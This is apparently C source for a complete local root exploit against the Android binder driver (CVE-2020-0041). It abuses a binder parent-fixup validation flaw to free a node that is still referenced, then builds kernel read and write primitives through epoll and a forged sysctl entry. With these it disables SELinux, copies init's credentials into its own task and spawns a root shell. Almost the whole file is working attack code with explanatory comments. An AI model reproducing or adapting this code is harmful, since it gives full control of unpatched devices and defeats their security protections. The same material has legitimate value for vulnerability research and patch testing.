#include <stdio.h>
#include <stdint.h>
#include <pthread.h>
#include <fcntl.h>
#include <errno.h>
#include <stdbool.h>
#include <poll.h>
#include <sys/epoll.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/mman.h>
#include <linux/ashmem.h>
#include <linux/fs.h>

#include "node.h"
#include "exploit.h"
#include "handle.h"
#include "binder.h"
#include "log.h"
#include "endpoint.h"
#include "pending_node.h"

#define BINDER_BUFFER_SZ	128 * 1024
#define RESERVED_BUFFER_SZ	127 * 1024

#define KERNEL_MAGIC    (unsigned long)0x644d5241

#define SELINUX_ENFORCING_OFFSET 0x2ba4000
#define MEMSTART_ADDR_OFFSET 0x20d1090
#define SYSCTL_TABLE_ROOT_OFFSET 0x29da3f8
#define PROC_DOUINTVEC_OFFSET 0x196775c
#define INIT_TASK_OFFSET 0x29a1e80L
#define INIT_CRED_OFFSET 0x29b00a0
#define OFFSET_PIPE_FOP 0x1f2f650

#define TASKS_OFFSET 0x570
#define PID_OFFSET 0x670
#define MM_OFFSET 0x5c0
#define REAL_CRED_OFFSET 0x838

char pathname[64];


uint64_t reserved_buffer_sz = 0;
uint64_t memstart_addr = 0;
uint64_t kernel_base = 0;

/*
 * Convert physical address to kernel virtual address.
 */

uint64_t phys_to_virt(uint64_t phys)
{
   return (phys - memstart_addr) | 0xFFFFFFC000000000;
}

/*
 * Trigger the bug, and free pending node, on which we still have
 * a reference. This will be the primitive for all the exploitation.
 */
void dec_node(struct binder_state *bs, uint64_t target, uint64_t vma_start, bool strong, bool second)
{

   struct binder_transaction_data_sg sg;
   struct binder_transaction_data *td;
   struct binder_write_read bwr;

   uint64_t handle = 0; /* It *SHOULD* be 0 as it's the value from ref created from the ctx mgr node. */

   /* Send a big buffer. */

   uint32_t tr_size = reserved_buffer_sz; // Use a query size of 0x20000 (we subtract 0x10 for the secctx)
   uint8_t data[BINDER_BUFFER_SZ];
   uint64_t offsets[128];
   uint8_t sg_buf[0x1000];
   uint32_t readbuf[32];
   uint8_t *ptr = data;
   uint64_t *offs = offsets;
   uint8_t buf[0x100];
   uint32_t buflen = 0;


   /*
   * Used to perform BC_TRANSACTION_SG queries.
   */
   struct {
      uint32_t cmd;
      struct binder_transaction_data txn;
      binder_size_t buffers_size;
   } __attribute__((packed)) writebuf;

   *(uint64_t *)(data + 0xe8) = 0x40; // offset of valid BINDER_TYPE_PTR
   /* The purpose of this apparently useless transaction is to initialize the content of the qword at
   * offset 0xf0 from the beginning of the transaction buffer of the servicemanager.
   * I used a transaction size of 0x20000 to be sure to retrieve the whole buffer for myself, and this way 
   * be sure to be serviced the very beginning of the transaction buffer.
   */
   // the transaction won't make it through as it will fail trying to copy from a NULL userland pointer
   binder_transaction(bs, false, target, data, tr_size, NULL, 1); 


   /* Wait for the BR_FAILED_REPLY. */
   uint32_t remaining = 0, consumed = 0;
   while (binder_read_next(bs, data, &remaining, &consumed) != BR_FAILED_REPLY);

   memset(buf, 0, 0x100);
   memset(offsets, 0, 128 * sizeof(uint64_t));

   /* From here it gets a little bit messy / crafty. */

   /*
   * Create the first object valid object, which will be smashed after the bug has been successfully triggered.
   */
   struct flat_binder_object *fbo = (struct flat_binder_object *)ptr;
   fbo->hdr.type = strong ? BINDER_TYPE_HANDLE : BINDER_TYPE_WEAK_HANDLE;
   fbo->flags = 0;
   fbo->handle = target;
   fbo->cookie = 0;
   *(offs++) = ((uint8_t *)fbo) - data;
   ptr = ++fbo;


   /*
   * Here, we craft a BINDER_TYPE_PTR, which won't be added to the offset array, and will thus not be validated by the binder
   * driver. It will be used later, once the bug is triggered, and we can make the `parent` pointer, point to this object.
   * As it wasn't validated we can't assign it an arbitrary length. The sole purpose of this object is to use the
   * binder parent fixup code to overwrite a qword at an "arbitrary" offset with the userland address of a child buffer.
   * This is the primitive which is used to overwrite the handle value of the BINDER_TYPE_HANDLE we created above.
   */
   struct binder_buffer_object *bbo = (struct binder_buffer_object *)(ptr);         //For now, we assume the fd will be 4
   bbo->hdr.type = BINDER_TYPE_PTR;
   bbo->flags = 0;
   bbo->buffer = vma_start; /* This *MUST* be the address of the beginning of the userland mapping of /dev/binder. */
   bbo->length = 0xdeadbeefbadc0ded;
   bbo->parent = 0;
   bbo->parent_offset = 0;
   ptr = ++bbo;

   /* This one is the official one. */
   bbo->hdr.type = BINDER_TYPE_PTR;
   bbo->flags = 0;
   bbo->buffer = sg_buf;
   bbo->length = 0x10;
   bbo->parent = 0;
   bbo->parent_offset = 0;

   // Add it to the offsets array
   *(offs++) = ((uint8_t *)bbo) - data;
   ptr = ++bbo;

   /* We create an additionnal BINDER_TYPE_PTR, whose parent will be the one we created just above. This is where the bug is triggered,
   * as the bbo->parent index is set to 6 which is wrong as it is > to the number of offsets in the offsets array. offs[6] will thus end up pointing in
   * not yet initalized data reserved for the sg_buf. The whole purpose of the seemingly useless first transaction was to initialize this address with the 
   * value 0x40, which is the offset of the previous BINDER_TYPE_PTR object in order for the `binder_validate_ptr` and `binder_valid_fixup` function to succeed.
   * This BINDER_TYPE_PTR is then eventually validated and the `last_fixup_obj_off` is set to the offset of this object.
   * This implies that we just validated a BINDER_TYPE_PTR whose bbo->parent index points into an array entry which will be modified by the next BINDER_TYPE_PTR below,
   * that the driver will process.
   */
   bbo->hdr.type = BINDER_TYPE_PTR;
   bbo->flags = BINDER_BUFFER_FLAG_HAS_PARENT;
   bbo->buffer = NULL;
   bbo->length = 0;
   bbo->parent = 6;
   bbo->parent_offset = 0;
   buflen += bbo->length;

   // Add it to the offsets array
   *(offs++) = ((uint8_t *)bbo) - data;
   ptr = ++bbo;

   /* 
   * And finally, the last nail in the coffin.
   * We craft the almost exact same BINDER_TYPE_PTR as above, still having a parent index of 6. This time however, we specific a 'buffer', whose data will be copied from
   * before validating the BINDER_TYPE_PTR. This qword will overwrite the value at offs[6], replacing the value 0x40 pointing to a validated BINDER_TYPE_PTR, with the value 0x18,
   * which points to the very first BINDER_TYPE_PTR, which wasn't validated by the binder driver as we haven't added it's offset to the offsets array. The following will now happen
   * in `binder_fixup_parent()`:
   * ```c
   2884         parent = binder_validate_ptr(target_proc, b, &object, bp->parent,
   2885                                      off_start_offset, &parent_offset,
   2886                                      num_valid);
   ...
   2893         if (!binder_validate_fixup(target_proc, b, off_start_offset,
   2894                                    parent_offset, bp->parent_offset,
   2895                                    last_fixup_obj_off,
   2896                                    last_fixup_min_off)) {
   2897                 binder_user_error("%d:%d got transaction with out-of-order buffer fixup\n",
   2898                                   proc->pid, thread->pid);
   2899                 return -EINVAL;
   2900         }
   * ```
   * Here, parent will now point to the unvalidated BINDER_TYPE_PTR, however, to be used by the driver it needs to be validated by the `binder_validate_fixup()` function:
   * ```c
   * 2414 static bool binder_validate_fixup(struct binder_proc *proc,
   2415                                   struct binder_buffer *b,
   2416                                   binder_size_t objects_start_offset,
   2417                                   binder_size_t buffer_obj_offset,
   2418                                   binder_size_t fixup_offset,
   2419                                   binder_size_t last_obj_offset,
   2420                                   binder_size_t last_min_offset)
   2421 {
   ...
   2427         while (last_obj_offset != buffer_obj_offset) {
   2428                 unsigned long buffer_offset;
   2429                 struct binder_object last_object;
   2430                 struct binder_buffer_object *last_bbo;
   2431                 size_t object_size = binder_get_object(proc, b, last_obj_offset,
   2432                                                        &last_object);
   2433                 if (object_size != sizeof(*last_bbo))
   2434                         return false;
   2435
   2436                 last_bbo = &last_object.bbo;
   2437                 *
   2438                 * Safe to retrieve the parent of last_obj, since it
   2439                 * was already previously verified by the driver.
   2440                 *
   2441                 if ((last_bbo->flags & BINDER_BUFFER_FLAG_HAS_PARENT) == 0)
   2442                         return false;
   2443                 last_min_offset = last_bbo->parent_offset + sizeof(uintptr_t);
   2444                 buffer_offset = objects_start_offset +
   2445                         sizeof(binder_size_t) * last_bbo->parent,
   2446                 binder_alloc_copy_from_buffer(&proc->alloc, &last_obj_offset,
   2447                                               b, buffer_offset,
   2448                                               sizeof(last_obj_offset));
   2449         }
   2450         return (fixup_offset >= last_min_offset);
   2451 }
   ```
   Here, as the `last_bbo` pointer was previously validated by the driver, it is trusted, and it particular, its `parent` field is trusted. However, the value of
   last_bbo->parent is now `0x18` instead of `0x40`, which ends up setting `last_obj_offset` to the same value as `buffer_obj_offset` (which is the offset of the
   fake BINDER_TYPE_PTR), and exists the loop. From now on, the driver will be manipulating and unvalidated object. The following code will try to fixup the buffer address
   in the fake BINDER_TYPE_PTR object:
   ```c
   2909         buffer_offset = bp->parent_offset +
   2910                         (uintptr_t)parent->buffer - (uintptr_t)b->user_data;
   2911         binder_alloc_copy_to_buffer(&target_proc->alloc, b, buffer_offset,
   2912                                     &bp->buffer, sizeof(bp->buffer));
   ```
   As the parent->buffer is equal to b->user_data, only the parent_offset which is 8, is taken into account. This means that the userland address of the
   bp->buffer will be copied at the offset 8 from the beginning of the binder buffer, which happens to be the offset of the node value of the BINDER_TYPE_HANDLE 
   (which has meanwhile been transformed into a BINDER_TYPE_BINDER by the binder driver) object we added at the beginning of the transaction. When eventually entering
   the binder_transaction_buffer_release() function, the driver will fail trying to decrement the invalid node.
   */
   uint64_t new_off = 0x18;
   bbo->hdr.type = BINDER_TYPE_PTR;
   bbo->flags = BINDER_BUFFER_FLAG_HAS_PARENT;
   bbo->buffer = &new_off;
   bbo->length = sizeof(new_off);
   bbo->parent = 0x6; // offs[6] = 0x18;
   bbo->parent_offset = 0x8 + ((second == true) ? 4 : 0);
   *(offs++) = ((uint8_t *)bbo) - data;
   ptr = ++bbo;

   /* Send the BC_TRANSACTION_SG transaction. */
   writebuf.cmd = BC_TRANSACTION_SG;
   //writebuf.txn.target.handle = 0; // Ctxt mgr
   writebuf.txn.target.handle = target; // endpoint
   writebuf.txn.code = TRIGGER_DECREF;
   writebuf.txn.flags = 0;
   writebuf.txn.data_size = ((uint8_t*)ptr) - ((uint8_t *)data);
   writebuf.txn.offsets_size = ((uint8_t*)offs) - ((uint8_t *)offsets);
   writebuf.txn.data.ptr.buffer = data;
   writebuf.txn.data.ptr.offsets = offsets;
   buflen = tr_size - writebuf.txn.data_size - writebuf.txn.offsets_size;
   writebuf.buffers_size = buflen;

   bwr.write_size = sizeof(writebuf);
   bwr.write_consumed = 0;
   bwr.write_buffer = &writebuf;
   bwr.read_size = 0;
   bwr.read_consumed = 0;
   bwr.read_buffer = 0;

   /* Send bogus query. */
   ioctl(bs->fd, BINDER_WRITE_READ, &bwr);

   /* Wait for the reply and free. */
   remaining = 0, consumed = 0;
   while (binder_read_next(bs, data, &remaining, &consumed) != BR_REPLY);

   /* Free the transaction buffer. */
   td = (struct binder_transaction_data *)(data + consumed - sizeof(*td));
   /* Free buffer. */
   binder_free_buffer(bs, td->data.ptr.buffer);
}


/*
 * Do all the preparation for the exploitation, that is setup up a number of pending nodes
 * on the soon to be dangling `binder_node`. I used multiple pending nodes as I need to leak values
 * multiple times in order to disclose the kernel address of the dangling `binder_node`, and know
 * where I add controlled kernel data in order to bypass PAN.
 */
uint64_t setup_pending_nodes(struct binder_state *bs, uint64_t endpoint_handle, pthread_t *th, uint32_t n1, uint32_t n2)
{
	struct binder_transaction_data *tr;
	uint8_t txn_data[BINDER_BUFFER_SZ];
	uint8_t rdata[512];
	uint64_t uaf_node = 0, uaf_node2 = 0;
	uint32_t remaining = 0, consumed = 0;
	struct binder_transaction_data *t = (struct binder_transaction_data *)(rdata + sizeof(uint32_t));

	struct binder_io msg, reply;

	/* Free the reserved buffer. As we are supposed to only perform
	 * transaction up to this size, which won't require creating pending nodes
	 * it should be alright.
	 */
	bio_init(&msg, txn_data, sizeof(txn_data), 10);
	bio_init(&reply, rdata, sizeof(rdata), 10);

	/* Free the reserved buffer. */
	if (binder_call(bs, &msg, &reply, endpoint_handle, FREE_RESERVED_BUFFER) < 0) {
		log_err("[-] Binder call GET_VMA_START failed.\n");
		exit(1);
	}
	binder_free_buffer(bs, reply.data0);

	
	/* Compute the reserved buffer size, and ask the endpoint to reserve it. */
	reserved_buffer_sz = RESERVED_BUFFER_SZ - (n1 + n2) * 0x10;
	make_transaction(rdata, false, endpoint_handle, txn_data, reserved_buffer_sz, NULL, 0);
	t->code = RESERVE_BUFFER;
	/* Make the call. */
	binder_write(bs, rdata, sizeof(*t) + sizeof(uint32_t));

	/* Wait for the BR_TRANSACTION_COMPLETE. */
	while (binder_read_next(bs, rdata, &remaining, &consumed) != BR_REPLY);
	/* Free the transaction. */
	tr = ((uint8_t*)rdata + consumed - sizeof(*tr));
	binder_free_buffer(bs, tr->data.ptr.buffer);

	bio_init(&msg, txn_data, sizeof(txn_data), 10);
	bio_init(&reply, rdata, sizeof(rdata), 10);

	/* Retrieve the vma_start address of the endpoint. */
	if (binder_call(bs, &msg, &reply, endpoint_handle, GET_VMA_START) < 0) {
		log_err("[-] Binder call GET_VMA_START failed.\n");
		exit(1);
	}

	uint64_t vma_start = bio_get_uint32(&reply) + (((uint64_t)bio_get_uint32(&reply)) << 32);
	binder_free_buffer(bs, reply.data0);

	/* Now, we exchange handle, so as to create the vulnerable node, and for the endpoint
	 * to be able to reach back to us.
	 */
	bio_init(&msg, txn_data, sizeof(txn_data), 10);
	bio_init(&reply, rdata, sizeof(rdata), 10);

	bio_put_obj(&msg, 0x4141); //Add arbitrary node value
	if (binder_call(bs, &msg, &reply, endpoint_handle, EXCHANGE_HANDLES) < 0) {
		log_err("[-] Binder call GET_VMA_START failed.\n");
		exit(1);
	}

	/* The endpoint should have created a ref to the uaf node. */
	uaf_node = bio_get_ref(&reply);
	if (!uaf_node) {
		log_err("[-] Failed to grab a reference to the UAF node.\n");
		exit(1);
	}

	/* Take a reference to the node. */
	binder_acquire(bs, uaf_node);

	uaf_node2 = bio_get_ref(&reply);
	if (!uaf_node2) {
		log_err("[-] Failed to grab a reference to the UAF node.\n");
		exit(1);
	}

	/* Take a reference to the node. */
	binder_acquire(bs, uaf_node2);


	/* Free the buffer. */
	binder_free_buffer(bs, reply.data0);

	int i;
	pthread_t node_th;

	for (i = 0; i < n1; i++) {
		/* Create the first pending node. */
		node_th = pending_node_create(bs, uaf_node);

		if (th)
			th[i] = node_th;
	}

	int j;
	for (j = 0; j < n2; j++) {
		node_th = pending_node_create(bs, uaf_node2);
		if (th)
			th[i + j] = node_th;
	}

	/* Now that we have a pending node, we can release our reference to it. */
	binder_release(bs, uaf_node);
	binder_release(bs, uaf_node2);

	/* Free the reserved buffer. As we are supposed to only perform
	 * transaction up to this size, which won't require creating pending nodes
	 * it should be alright.
	 */
	bio_init(&msg, txn_data, sizeof(txn_data), 10);
	bio_init(&reply, rdata, sizeof(rdata), 10);

	/* Free the reserved buffer. */
	if (binder_call(bs, &msg, &reply, endpoint_handle, FREE_RESERVED_BUFFER) < 0) {
		log_err("[-] Binder call GET_VMA_START failed.\n");
		exit(1);
	}
	binder_free_buffer(bs, reply.data0);

	/* return the vulnerable node reference to the caller. */
	return vma_start;
}

/*
 * Read SELinux enforcing through selinuxfs.
 */
char read_selinux_enforcing() {
   int fd = open("/sys/fs/selinux/enforce", O_RDONLY);
   char enforcing;
   read(fd, &enforcing, 1);
   close(fd);
   return enforcing;
}

struct exp_node * file;
int pipes[2];

/*
 * 32-bit kernel read primitive using corrupted f_inode, such that 
 * epitem.event.data overlaps with f_inode->i_sb.
 */

uint64_t read32(uint64_t addr) {
   struct epoll_event evt;
   evt.events = 0;
   evt.data.u64 = addr - 24;
   int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt);
   uint32_t test = 0xdeadbeef;
   ioctl(pipes[0], FIGETBSZ, &test);
   return test;
}

/*
 * 64-bit kernel read primitive using read32
 */

uint64_t read64(uint64_t addr) {
   uint32_t lo = read32(addr);
   uint32_t hi = read32(addr+4);

   return (((uint64_t)hi) << 32) | lo;
}

void *ctl_table_uaddr;

/*
 * 64-bit kernel write primitive using fake proc sysctl entry.
 */
void write64(uint64_t addr, uint64_t value) {
   *(uint64_t *)(ctl_table_uaddr + 8) = addr;          // data == what to read/write
   *(uint32_t *)(ctl_table_uaddr + 16) = 0x8;

   char buf[100];
   int fd = open(pathname, O_WRONLY);
   if (fd < 0) {
      printf("[!] Failed to open. Errno: %d\n", errno);
   }

   sprintf(buf, "%u %u\n", (uint32_t)value, (uint32_t)(value >> 32));
   int ret = write(fd, buf, strlen(buf));
   if (ret < 0)
      printf("[!] Failed to write, errno: %d\n", errno);
   close(fd); 
}

/*
 * 32-bit kernel write primitive using fake proc sysctl entry.
 */
void write32(uint64_t addr, uint32_t value) {
   *(uint64_t *)(ctl_table_uaddr + 8) = addr;          // data == what to read/write
   *(uint32_t *)(ctl_table_uaddr + 16) = 4;

   char buf[100];
   int fd = open(pathname, O_WRONLY);
   sprintf(buf, "%u\n", value);
   write(fd, buf, strlen(buf));
   close(fd);
}

/*
 * Find task given its PID, starting at task start.
 */
uint64_t get_task_by_pid(uint64_t start, int pid) {
   uint64_t task = read64(start + TASKS_OFFSET + 8) - TASKS_OFFSET;

   while (task != start) {
      if (read32(task + PID_OFFSET) == pid) {
         return task;
      }

      /* Go to prev */
      task = read64(task + TASKS_OFFSET + 8) - TASKS_OFFSET;
   }

   return 0;
}


/*
 * pwn!
 */
int main()
{
   int res = -1;
   uint64_t A, B;


   void *map = mmap(2<<20, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1, 0);
   log_info("[+] Mapped %lx\n", map);

   /* We'll use one of these pipes for leaking its address and corrupting f_inode. */
   pipe(&pipes[0]);

   pin_cpu(0);
   
   log_info("[+] selinux_enforcing before exploit: %c\n", read_selinux_enforcing());

	struct binder_state *bs = binder_open(BINDER_DEVICE, 128 * 1024); 
	if (!bs) {
		log_err("[-] Failed to open /dev/binder.\n");
		exit(1);
	}

   /* Spawn the threads used for reallocating the dangling `binder_node` with controlled data. */
	spawn_realloc_threads();

   /* Step 1: leak a pipe file address */

   file = node_new("leak_file");

   /* Only works on file implementing the 'epoll' function. */
   while (!node_realloc_epitem(file, pipes[0]))
      node_reset(file);

   uint64_t file_addr = file->file_addr;
   log_info("[+] pipe file: 0x%lx\n", file_addr);


   /* Step 2: leak epitem address */
   struct exp_node *epitem_node = node_new("epitem");
   while (!node_kaddr_disclose(file, epitem_node))
      node_reset(epitem_node);

   printf("[*] file epitem at %lx\n", file->kaddr);

   /* 
    * Alright, now we want to do a write8 to set file->f_inode.
    * Given the unlink primitive, we'll set file->f_inode = epitem + 80
    * and epitem + 88 = &file->f_inode.
    * 
    * With this we can change f_inode->i_sb by modifying the epitem data, 
    * and get an arbitrary read through ioctl.
    *
    * This is corrupting the fllink, so we better don't touch anything there!
    */

   struct exp_node *write8_inode = node_new("write8_inode");
   node_write8(write8_inode, file->kaddr + 120 - 40 , file_addr + 0x20);

   printf("[*] Write done, should have arbitrary read now.\n");
   uint64_t fop = read64(file_addr + 0x28);
   printf("[+] file operations: %lx\n", fop);

   kernel_base = fop - OFFSET_PIPE_FOP;
   printf("[+] kernel base: %lx\n", kernel_base);

   /* Just a basic check */
   if (read64(kernel_base + 0x38) != KERNEL_MAGIC) {
      printf("[*] Something went wrong with arbitrary read setup!?\n");
      goto out;
   }

   /* Step 3: Disable selinux by writing NULL to selinux_enforcing */
   struct exp_node *write8_selinux = node_new("write8_selinux");
   node_write_null(write8_selinux, kernel_base + SELINUX_ENFORCING_OFFSET);

   /* 
    * Step 4: Setup a fake sysctl node in our own userland page. We will start
    * by locating the kernel address of this page by parsing our own pgd.
    */

   uint64_t init_task = kernel_base + INIT_TASK_OFFSET;
   uint64_t init_cred = read64(init_task + REAL_CRED_OFFSET);
   printf("[*] init_cred: %lx\n", init_cred);


   uint64_t current = get_task_by_pid(init_task, getpid());
   if (current == 0) {
      printf("[*] Failed to find ourselves...\n");
      goto out;
   }

   /* Now resolve our mapping at 2MB. But first read memstart_addr so we can do phys_to_virt() */

   memstart_addr = read64(kernel_base + MEMSTART_ADDR_OFFSET);
   printf("[+] memstart_addr: 0x%lx\n", memstart_addr);
   uint64_t mm = read64(current + MM_OFFSET);
   uint64_t pgd = read64(mm + 0x40);
   uint64_t entry = read64(pgd);

   uint64_t next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);
   printf("[+] First level entry: %lx -> next table at %lx\n", entry, next_tbl);

   /* Offset 8 for 2MB boundary */
   entry = read64(next_tbl + 8);
   next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);
   printf("[+] Second level entry: %lx -> next table at %lx\n", entry, next_tbl);

   entry = read64(next_tbl);
   uint64_t kaddr = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);


   *(uint64_t *)map = 0xdeadbeefbadc0ded;
   if ( read64(kaddr) != 0xdeadbeefbadc0ded) {
      printf("[!] Something went wrong resolving the address of our mapping\n");
      goto out;
   }


   /* Now we can prepare our magic sysctl node as s child of the left-most node */

   uint64_t sysctl_table_root = kernel_base + SYSCTL_TABLE_ROOT_OFFSET;
   printf("[+] sysctl_table_root = %lx\n", sysctl_table_root);
   uint64_t ctl_dir = sysctl_table_root + 8;

   uint64_t node = read64(ctl_dir + 80);
   uint64_t prev_node;
   while (node != 0) {
      prev_node = node;
      node = read64(node + 0x10); 
   }

   /* We found the insertion place, setup the node */

   uint64_t node_kaddr = kaddr;
   void *node_uaddr = map;

   uint64_t tbl_header_kaddr = kaddr + 0x80;
   void *tbl_header_uaddr = map + 0x80;

   uint64_t ctl_table_kaddr = kaddr + 0x100;
   ctl_table_uaddr = map + 0x100;

   uint64_t procname_kaddr = kaddr + 0x200;
   void * procname_uaddr = map + 0x200;

   /* Setup rb_node */
   *(uint64_t *)(node_uaddr + 0x00) = prev_node;              // parent = prev_node
   *(uint64_t *)(node_uaddr + 0x08) = 0;                      // right = null
   *(uint64_t *)(node_uaddr + 0x10) = 0;                      // left = null

   *(uint64_t *)(node_uaddr + 0x18) = tbl_header_kaddr;       // my_tbl_header

   *(uint64_t *)(tbl_header_uaddr) = ctl_table_kaddr;
   *(uint64_t *)(tbl_header_uaddr + 0x18) = 0;                // unregistering
   *(uint64_t *)(tbl_header_uaddr + 0x20) = 0;                // ctl_table_arg
   *(uint64_t *)(tbl_header_uaddr + 0x28) = sysctl_table_root;      // root
   *(uint64_t *)(tbl_header_uaddr + 0x30) = sysctl_table_root;      // set
   *(uint64_t *)(tbl_header_uaddr + 0x38) = sysctl_table_root + 8;  // parent
   *(uint64_t *)(tbl_header_uaddr + 0x40) = node_kaddr;          // node
   *(uint64_t *)(tbl_header_uaddr + 0x48) = 0;                // inodes.first

   /* Now setup ctl_table */
   uint64_t proc_douintvec = kernel_base + PROC_DOUINTVEC_OFFSET;
   *(uint64_t *)(ctl_table_uaddr) = procname_kaddr;           // procname
   *(uint64_t *)(ctl_table_uaddr + 8) = kernel_base;          // data == what to read/write
   *(uint32_t *)(ctl_table_uaddr + 16) = 0x8;
   *(uint64_t *)(ctl_table_uaddr + 0x20) = proc_douintvec;       // proc_handler
   *(uint32_t *)(ctl_table_uaddr + 20) = 0666;             // mode = rw-rw-rw-

   /*
    * Compute and write the node name. We use a random name starting with aaa
    * for two reasons:
    *
    *  - Must be the first node in the tree alphabetically given where we insert it (hence aaa...)
    *
    *  - If we already run, there's a cached dentry for each name we used earlier which has dangling 
    *    pointers but is only reachable through path lookup. If we'd reuse the name, we'd crash using 
    *    this dangling pointer at open time.
    *
    * It's easier to have a unique enough name instead of figuring out how to clear the cache,
    * which would be the cleaner solution here.
    */

   int fd = open("/dev/urandom", O_RDONLY);
   uint32_t rnd;
   read(fd, &rnd, sizeof(rnd));

   sprintf(procname_uaddr, "aaa_%x", rnd);
   sprintf(pathname, "/proc/sys/%s", procname_uaddr);

   /* And finally use a write8 to inject this new sysctl node */
   struct exp_node *write8_sysctl = node_new("write8_sysctl");
   node_write8(write8_sysctl, kaddr, prev_node + 16);

   /* Since our write is mirrored, let's clear the unwanted side-effect right away */
   *(uint64_t *)(map + 8) = 0;

   printf("[+] Injected sysctl node!\n");
   sleep(1);

   /* Set refcount to 0x100 and set our own credentials to init's */
   write32(init_cred, 0x100);
   write64(current + REAL_CRED_OFFSET, init_cred);
   write64(current + REAL_CRED_OFFSET + 8, init_cred);

   if (getuid() != 0) {
      printf("[!!] Something went wrong, we're not root!!\n");
      goto out;
   }

   /* Step Now we can clean things up. */
   /* Cleanup the `sendmsg()` threads, which hold a reference to the freed 
    * `binder_node`.
    */
   struct exp_node *nodes[] = {write8_inode, write8_selinux, write8_sysctl};
   for (int j = 0; j < 3; j++) {
      printf("[*] Node %s, pid %d, kaddr %lx\n", nodes[j]->name, nodes[j]->tid, nodes[j]->kaddr);
      if (!nodes[j]->tid) {
         printf("[*] Node %s has no thread id? \n", nodes[j]->name);
         continue;
      }
      /* Looking for pointers in the different nodes. */
      uint64_t task = get_task_by_pid(init_task, nodes[j]->tid);
      if (!task) {
         printf("[!] Couldn't find task for pid %d\n", nodes[j]->tid);
         continue;
      }
      uint64_t kstack = read64(task + 0x28);
      
      for (int i = 0; i < 0x4000; i += 8) {
         if (read64(kstack + i) == nodes[j]->kaddr) {
            /* We overwrite with 0x10, as `kfree()` will not complain when encountering it,
             * contrary to the NULL ptr.
             */
            log_info("[*] Replaced sendmmsg dangling reference\n");
            write64(kstack + i, 0x10);
         }
      }

      kill(nodes[j]->tid, SIGKILL);
      waitpid(nodes[j]->tid, NULL, 0);
   }

   log_info("[+] Cleaned up sendmsg threads\n");

   /* Bump up f_count to avoid entering into pipe_release() when exiting the process. */
   write64(file_addr + 0x38, 0xff);

   /* Clear up our fake node */
   write64(prev_node + 16, 0);

   /* We also smashed our epitem, try and restore that ... */
   printf("[*] epitem.next = %lx\n", read64(file->kaddr + 88));
   printf("[*] epitem.prev = %lx\n", read64(file->kaddr + 88 + 8));

   // Just set next = prev, since we should be the only epitem here
   write64(file->kaddr + 88, read64(file->kaddr + 88 + 8));

   /* Free all those pending nodes and threads */
   node_free(file);
   node_free(epitem_node);
   node_free(write8_selinux);
   node_free(write8_inode);
   node_free(write8_sysctl);
   cleanup_realloc_threads();



   /* We can finally enjoy our root shell. */
   log_info("[*] Launching privileged shell\n");
   char *args[] = {"/system/bin/sh", NULL};
   char *envp[] = {"PATH=/sbin:/system/sbin:/product/bin:/apex/com.android.runtime/bin:/system/bin:/system/xbin:/odm/bin:/vendor/bin:/vendor/xbin", "ANDROID_DATA=/data", "HOSTNAME=root_by_cve-2020-0041", NULL};
   execve(args[0], args, envp);
   return 0;

out:
   printf("[!] Sleeping forever since it's not safe to exit now...\n");
   while(1) sleep(10);
   return -1;
}